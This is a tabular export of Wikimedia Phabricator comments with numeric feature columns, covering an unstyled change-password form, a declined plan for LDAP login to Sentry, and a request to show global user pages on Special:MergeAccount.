unstyled.",Low,25.0,1418360903,1446574575.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_description,resolved,True,c3,1,True,False,False,-29,True,1.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,12.0,4.0,0.0,2.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.988095238095238,0.7619047619047619,"1. Reset password
2. Log in with it, this yields the ""Create a new password"" screen, courtesy of Special:ResetPassword proxied through SpecialUserLogin
3. Trigger any error or callback or rate limit. That will respond from ResetPassword (in the url) as that's where the form submits to.

It shows exact same form again, with my values still filled. Except now the form looks completely unstyled."
557304,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238505 merged by jenkins-bot:
Change Special:ChangePassword to use OOUI

[[https://gerrit.wikimedia.org/r/238505]]",,,1446573814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.909090909090909,0.8181818181818182,"Change 238505 merged by jenkins-bot:
Change Special:ChangePassword to use OOUI

[[GERRIT_URL]]"
546132,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238497 abandoned by Florianschmidtwelzow:
Force MediaWiki UI true on Special:ChangePassword

Reason:
please review: Id768833bbd966cde

[[https://gerrit.wikimedia.org/r/238497]]",,,1444805684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,7.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.7586206896551724,"Change 238497 abandoned by Florianschmidtwelzow:
Force MediaWiki UI true on Special:ChangePassword

Reason:
please review: Id768833bbd966cde

[[GERRIT_URL]]"
527809,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238505 had a related patch set uploaded (by Florianschmidtwelzow):
Change Special:ChangePassword to use OOUI

[[https://gerrit.wikimedia.org/r/238505]]
",,,1442339816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.407407407407407,0.8518518518518519,"Change 238505 had a related patch set uploaded (by Florianschmidtwelzow):
Change Special:ChangePassword to use OOUI

[[GERRIT_URL]]
"
527756,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"Change 238497 had a related patch set uploaded (by Florianschmidtwelzow):
Force MediaWiki UI true on Special:ChangePassword

[[https://gerrit.wikimedia.org/r/238497]]
",,,1442337662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.5,0.8928571428571429,"Change 238497 had a related patch set uploaded (by Florianschmidtwelzow):
Force MediaWiki UI true on Special:ChangePassword

[[GERRIT_URL]]
"
527746,Change Special:ChangePassword to use OOUI (to match styling of Special:UserLogin),"The problem is, that Special:UserLogin forces mediawiki UI to ""on"", and proxies SpecialChangePassword for the first request (to announce, that you need to change the password). After you submited the form, you will be on Special:ChangeEmail which doesn't have mediwiki ui enabled.

I think the short term fix would be to enable MediaWiki UI on Special:ChangePassword, and the long term to rewrite SpecialChangPassword in OOUI.",,,1442337331,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-76ncpstsbnp2jeeiqvlf,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,15.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,1.0,0.0,1.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,18.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,15.0,13.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.270588235294118,0.6705882352941176,"The problem is, that Special:UserLogin forces mediawiki UI to ""on"", and proxies SpecialChangePassword for the first request (to announce, that you need to change the password). After you submited the form, you will be on Special:ChangeEmail which doesn't have mediwiki ui enabled.

I think the short term fix would be to enable MediaWiki UI on Special:ChangePassword, and the long term to rewrite SpecialChangPassword in OOUI."
97133,Login integration for Sentry,Sentry should have unified login via LDAP ([[ https://github.com/banno/getsentry-ldap-auth | getsentry-ldap-auth ]]) or Oauth ([[ https://github.com/omab/python-social-auth | python-social-auth ]]?).,Lowest,10.0,1429886235,1730887731.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-iczcaqmn5wyw5js47u2e,task_description,declined,True,c3,1,True,False,False,-10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,2.72972972972973,0.6216216216216216,Sentry should have unified login via LDAP ([[ URL | getsentry-ldap-auth ]]) or Oauth ([[ URL | python-social-auth ]]?).
2449626,Login integration for Sentry,Declining per `T374411` and `T257424`.,,,1730887731,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,487,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.8333333333333334,Declining per CODE and CODE.
1581939,Login integration for Sentry,"Change 250374 **abandoned** by Gergő Tisza:
[operations/puppet@production] [WIP] LDAP auth for Sentry via REMOTE_USER

Reason:
We abandoned the idea of using Sentry in production. See T106915.

https://gerrit.wikimedia.org/r/250374",,,1600309710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,272,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,11.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.044444444444444,0.7555555555555555,"Change 250374 **abandoned** by Gergő Tisza:
[operations/puppet@production] [WIP] LDAP auth for Sentry via REMOTE_USER

Reason:
We abandoned the idea of using Sentry in production. See T106915.

GERRIT_URL"
1515316,Login integration for Sentry,"Change 240949 abandoned by Gergő Tisza:
LDAP support

Reason:
Abandoning Sentry patches; there are no short-term plans for using Sentry, and they are now too stale to be useful anyway.

[[https://gerrit.wikimedia.org/r/240949]]",,,1591019269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,256,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,7.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,3.782608695652174,0.8478260869565217,"Change 240949 abandoned by Gergő Tisza:
LDAP support

Reason:
Abandoning Sentry patches; there are no short-term plans for using Sentry, and they are now too stale to be useful anyway.

[[GERRIT_URL]]"
556220,Login integration for Sentry,"Thanks, I'll do that.

I'm not sure I understand the point of having two vhosts. Can't you just configure mod_authnz to ask for credentials but then not `require valid-user`, or use mod_authn_anon?",,,1446454474,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,10.0,8.0,2.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8,0.875,"Thanks, I'll do that.

I'm not sure I understand the point of having two vhosts. Can't you just configure mod_authnz to ask for credentials but then not CODE, or use mod_authn_anon?"
556215,Login integration for Sentry,"
>>! In T109723#1759237, @ori wrote:
> * grafana itself is listening only on localhost, on a machine with no public IP.
> * Requests are proxied by Nginx (for SSL) -> Varnish -> Apache / mod_proxy_http.
> * grafana logs in users based on the value of the X-WEBAUTH-USER header set on the request.
> * We serve grafana via two different vhosts: grafana-admin.wikimedia.org and grafana.wikimedia.org.
> * The [[ https://grafana-admin.wikimedia.org | grafana-admin.wikimedia.org ]] Apache vhost uses mod_authnz_ldap to authenticate the user as a member of ops/wmf/nda groups. It unsets any user-supplied X-WEBAUTH-USER header and sets X-WEBAUTH-USER to the LDAP user CN.
> * The [[ https://grafana.wikimedia.org/ | grafana.wikimedia.org ]] Apache vhost does not require authentication. It unsets any user-supplied X-WEBAUTH-USER and sets X-WEBAUTH-USER to 'Anonymous', which is a Grafana account with read-only privileges.
> * For extra insurance, grafana.wikimedia.org also prohibits any POST / PUT / DELETE requests.
> * For extra insurance, X-WEBAUTH-USER is also unset on the varnish layer.


>>! In T97133#1772722, @Tgr wrote:
> Maybe I can run both apache and nginx, on different ports/vhosts? The user interface does not need to scale and the logging interface does not need auth.

You could, but that is a bit inelegant. Apache should scale just fine.

> Or just discard nginx completely and how apache will be fine under load.

That's what I would do, I think.",,,1446452300,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,33.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,21.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1346153846153846,0.5,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


QUOTE
QUOTE

You could, but that is a bit inelegant. Apache should scale just fine.

QUOTE

That's what I would do, I think."
556214,Login integration for Sentry,">>! In T97133#1770795, @ori wrote:
> Specifically, the approach we ended up taking with Grafana -- having a public, read-only vhost and a private RW one: see T109723#1759237

The task is private.

The current Sentry role used nginx (that was recommended in the Sentry docs, presumably because it scales better). Nginx does not have native LDAP support. On the internets people usually recommend compiling in [[ https://github.com/kvspb/nginx-auth-ldap | nginx-auth-ldap ]], which does not inspire confidence.

Maybe I can run both apache and nginx, on different ports/vhosts? The user interface does not need to scale and the logging interface does not need auth. I am not sure I can set separate base URLs for them though. Or just discard nginx completely and how apache will be fine under load. Or go back to django_ldap_auth...",,,1446451961,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,1.0,0.5,3.5,4.5,2.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,10.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,5.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,14.5,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,11.0,1.5,4.0,5.5,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5,6.0,5.0,1.0,0.0,0.0,3.5,0.0,1.5,0.0,1.0,1.5,0.5,0.0,1.0,3.977498869289914,0.7519222071460878,"QUOTE
QUOTE

The task is private.

The current Sentry role used nginx (that was recommended in the Sentry docs, presumably because it scales better). Nginx does not have native LDAP support. On the internets people usually recommend compiling in [[ URL | nginx-auth-ldap ]], which does not inspire confidence.

Maybe I can run both apache and nginx, on different ports/vhosts? The user interface does not need to scale and the logging interface does not need auth. I am not sure I can set separate base URLs for them though. Or just discard nginx completely and how apache will be fine under load. Or go back to django_ldap_auth..."
555794,Login integration for Sentry,">>! In T97133#1704282, @Tgr wrote:
> Ori recommended a simpler approach: use some Apache authn module (probably LDAP) and Django's built-in [[ https://docs.djangoproject.com/en/1.8/howto/auth-remote-user/ | REMOTE_USER-based authentication ]].

Specifically, the approach we ended up taking with Grafana -- having a public, read-only vhost and a private RW one: see T109723#1759237",,,1446249078,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,6.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.129032258064516,0.9032258064516129,"QUOTE
QUOTE

Specifically, the approach we ended up taking with Grafana -- having a public, read-only vhost and a private RW one: see T109723#1759237"
541674,Login integration for Sentry,Ori recommended a simpler approach: use some Apache authn module (probably LDAP) and Django's built-in [[ https://docs.djangoproject.com/en/1.8/howto/auth-remote-user/ | REMOTE_USER-based authentication ]].,,,1444091790,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,13,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,4.0,0.90625,Ori recommended a simpler approach: use some Apache authn module (probably LDAP) and Django's built-in [[ URL | REMOTE_USER-based authentication ]].
537542,Login integration for Sentry,Sentry just opensourced their own login modules: http://blog.getsentry.com/2015/09/29/sso-for-all.html,,,1443559972,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Sentry just opensourced their own login modules: URL
534838,Login integration for Sentry,"Change 240949 had a related patch set uploaded (by Gergő Tisza):
[WIP] LDAP support

[[https://gerrit.wikimedia.org/r/240949]]
",,,1443144343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,3.3846153846153846,0.8076923076923077,"Change 240949 had a related patch set uploaded (by Gergő Tisza):
[WIP] LDAP support

[[GERRIT_URL]]
"
493724,Login integration for Sentry,"They seem to be in the process of moving away from python/django-social-auth and implemented their own generic auth system in  [src/sentry/auth](https://github.com/getsentry/sentry/tree/master/src/sentry/auth), see [issue:1372](https://github.com/getsentry/sentry/issues/1372#issuecomment-69973225). I'm not sure what the status of that is, I still see plenty of social-auth references.",,,1437355631,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-iczcaqmn5wyw5js47u2e,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,3.824561403508772,0.7543859649122807,"They seem to be in the process of moving away from python/django-social-auth and implemented their own generic auth system in  [src/sentry/auth](URL see [issue:1372](URL I'm not sure what the status of that is, I still see plenty of social-auth references."
94251,"""Login unification complete!"" should report/encourage user to set up Global user, and indicate actual user pages.","I logged in with my personal account and visited https://en.wikipedia.org/wiki/Special:MergeAccount .  It confirmed
>You can now log in to any wiki site of the Wikimedia Foundation without creating a new account.
> Read more about unified login…
> The accounts named ""Skierpage"" on each of the following sites have been automatically attached to the unified account: 
> - [[ https://commons.wikimedia.org/wiki/User:Skierpage | commons.wikimedia.org ]]
> - [[ https://de.wikipedia.org/wiki/User:Skierpage | de.wikipedia.org ]]
> - (20 more links)

But
  - no indication if I actually have a user page on those sites, everything is a blue link
  - no mention of [[ https://meta.wikimedia.org/wiki/Global_user_page |  Global user page]] and whether I have one.

Expected result: SpecialMergeAccount.php's `showStatus()` should be aware of Global user page. Tell me about it, tell me if I have a meta user page already, and for each of these wiki user page links that it's already showing (in `listWikis()`, indicate if I have a user page. Thus I'd see information like
  # ""You do/do not have a [[ https://meta.wikimedia.org/wiki/Global_user_page | Global user page]].""
    - If not, ""You should [[ https://meta.wikimedia.org/wiki/User:JohnDoe | create a  global user page]]""
  # ""(After you create it, ) Your global user page will display if someone visits your username on all 800 wikis""
  # ""In the list of accounts below, you have a local user page on the starred wikis.""",Lowest,10.0,1427490103,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-s6xbwrsut72bkcjtp2df,task_description,open,True,c3,1,False,False,,-14,True,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,4.0,0.6666666666666666,0.0,0.0,2.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.0,0.0,2.6666666666666665,8.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,4.666666666666667,1.3333333333333333,1.3333333333333333,0.6666666666666666,2.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,16.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,11.666666666666666,2.6666666666666665,1.3333333333333333,5.666666666666667,0.0,0.0,0.0,1.3333333333333333,2.0,0.0,0.6666666666666666,0.0,7.0,8.0,2.3333333333333335,0.0,3.3333333333333335,0.0,7.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.0,1.0,3.2792792792792795,0.6441441441441441,"I logged in with my personal account and visited URL .  It confirmed
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But
  - no indication if I actually have a user page on those sites, everything is a blue link
  - no mention of [[ URL |  Global user page]] and whether I have one.

Expected result: SpecialMergeAccount.php's CODE should be aware of Global user page. Tell me about it, tell me if I have a meta user page already, and for each of these wiki user page links that it's already showing (in CODE, indicate if I have a user page. Thus I'd see information like
  # ""You do/do not have a [[ URL | Global user page]].""
    - If not, ""You should [[ URL | create a  global user page]]""
  # ""(After you create it, ) Your global user page will display if someone visits your username on all 800 wikis""
  # ""In the list of accounts below, you have a local user page on the starred wikis."""
